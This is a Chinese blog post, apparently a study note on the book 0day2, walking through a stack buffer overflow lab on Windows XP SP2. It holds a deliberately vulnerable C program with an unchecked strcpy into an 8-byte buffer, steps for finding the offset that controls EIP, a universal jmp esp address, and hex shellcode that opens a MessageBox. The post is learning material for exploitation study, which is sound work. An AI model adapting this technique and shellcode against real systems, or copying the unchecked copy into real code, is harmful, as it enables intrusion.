zoukankan      html  css  js  c++  java
  • 旧书重温:0day2【1】 简单的缓冲区溢出案例

    0x01 准备:

    VMwarePlayer

    (我是在360软件管家那搜到的下载的)

    xp sp2 http://user.qzone.qq.com/252738331/blog/1357138598

    (这是我的QQ空间文章,平时收藏的一些windows老版系统,用来做实验用的)

    vc++6.0绿色完整版 网上自己下巴(30M左右)

    ollydby (OllyDBG_1.10_second_cao_cong看雪上下的

    winhex (网上有很多的)

    知识点:

    CPU(Intel,x86)各主要寄存器的一般用途:
    EAX:存储器:用于执行计算,并用于存储函数的返回值。基本操作,如加,减,比较使用
    这个通用寄存器
    EBX:存储数据
    ECX:计数器:常用于计数循环的次数。
    EDX:数据
    ESP:栈顶指针
    EBP:基指针(常用来表示一个函数帧的底部)
    ESI:源操作数指针
    EDI:目的地址指针
    EIP:指令指针

    安装好VM、做好虚拟机(xp sp2)、虚拟机里安好vc++6.0 , ollydby winhex ....

    0x02 生成带缓冲区溢出漏洞的程序

     1 include <stdio.h>
     2 #include <windows.h>
     3 #define PASSWORD "1234567"
     4 
     5 int verify(char * passwd)
     6 {
     7     int iRet;
     8     char buffer[8];
     9     iRet = strcmp(passwd,PASSWORD);
    10     strcpy(buffer,passwd);
    11     return iRet;
    12 
    13 }
    14 
    15 int main()
    16 {
    17 
    18     int flag = 0;
    19     char passwd[1024];
    20     FILE * fp;
    21     LoadLibrary("user32.dll");
    22     //MessageBox(NULL,"dd","xx",1);
    23     if(!(fp=fopen("password2.txt","rw+")))
    24     {
    25         printf("fp fopen flaid 
    ");
    26         int e = GetLastError();
    27         exit(0);
    28     }
    29     fscanf(fp,"%s",passwd);
    30     flag = verify(passwd);
    31     if(flag)
    32     {
    33         printf("incorrect password 
    ");
    34     }
    35     else
    36     {
    37         printf("correct password 
    ");
    38     }
    39     fclose(fp);
    40     return 0;
    41     
    42 }

    以上参考0day2

    0x03触发 溢出 

    把debug目录下password2.txt,内容输入abcdefjh.....xyz 保存、运行生成的exe 、溢出

    offset:74737371   tsrq 控制eip 

    0x04 分析

    设置ollydby为默认实时调试器

    运行exe ollydby断下

    仔细观察发现  tsrq 处 控制了eip , esp指向 uvwxyz 

    所以可以用 jmp esp 策略 使用 lion万能 jmp esp 0x7ffa4512 反向填充tsrq处,

    0x 9083EC4033DB536877657374686661696C8BC453505053B81661D677FFD0 为shellcode 填充uvwxyz....

    (其中我的xp sp2 上的 messageboxw的地址1661D677,因为我的messageboxA 的地址含0较多截断了字符串所以用了W的)

    自己根据情况修改红处( 以上修改文件都是用winhex修改)

  • 相关阅读:
    HDU 4069 Squiggly Sudoku
    SPOJ 1771 Yet Another NQueen Problem
    POJ 3469 Dual Core CPU
    CF 118E Bertown roads
    URAL 1664 Pipeline Transportation
    POJ 3076 Sudoku
    UVA 10330 Power Transmission
    HDU 1426 Sudoku Killer
    POJ 3074 Sudoku
    HDU 3315 My Brute
  • 原文地址:https://www.cnblogs.com/witty/p/3455439.html
Copyright © 2011-2022 走看看